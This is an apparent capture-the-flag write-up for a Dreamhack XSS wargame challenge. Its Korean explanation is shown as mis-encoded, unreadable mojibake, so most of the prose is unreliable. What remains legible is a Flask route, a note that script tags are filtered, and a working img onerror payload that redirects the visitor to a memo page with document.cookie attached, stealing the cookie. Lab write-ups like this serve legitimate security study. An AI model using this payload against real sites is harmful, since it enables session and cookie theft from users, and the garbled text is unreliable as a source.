1. ๋ฌธ์
https://dreamhack.io/wargame/challenges/268
2. ํด๊ฒฐ ๊ณผ์
xss-1๊ณผ ์ฝ๋๋ ๋น์ทํ์ง๋ง, ํฐ ์ฐจ์ด์ ์ด ์๋ค.
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
์ด ๋ถ๋ถ์ด๋ค. ๋์ ์ผ๋ก ํ ํ๋ฆฟ์ ๋ ๋๋งํ๊ธฐ ๋๋ฌธ์ ์ด์ xss-1์์๋ ํ๋ฆฌ๋ฏธํฐ๋ฅผ ์ง์ ๋ฐํํ๋ ๋ฐฉ์๊ณผ ๋ค๋ฅด๋ค.
๋ฐ๋ผ์, vuln ํ์ด์ง์์ ๋ค์ํ ํ๋ผ๋ฏธํฐ๋ฅผ ๋ฃ์ด ์ด๋ค ํ๊ทธ๊ฐ ์คํ๋๋์ง ํ ์คํธํด๋ณด์์ผ ํ๋ค.
<script></script> ๋ ํํฐ๋ง๋๋ ๋ชจ์ต์ด๋ค.
๋ฐ๋ผ์ ์ด๋ฒคํธ ํธ๋ค๋ฌ๋ฅผ ์ฌ์ฉํด๋ณด์๋ค.
img src ํ๊ทธ๋ฅผ ์ฌ์ฉํ์ฌ onerror๋ฅผ ์ฌ์ฉํด๋ณด์๋๋, alert์ฐฝ์ด ๋จ๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
๋ฐ๋ผ์, vuln์ ์ทจ์ฝ์ ์ ์ ์ฉํ์ฌ flagํ์ด์ง๋ก ๊ฐ์ ๋ฉ๋ชจ ํ์ด์ง ํ๋๊ทธ๋ฅผ ์ถ๋ ฅํ๋๋ก ํ์๋ค.
<img src="x" onerror="location.href='../memo?memo=' + document.cookie" />
์ฑ๊ณต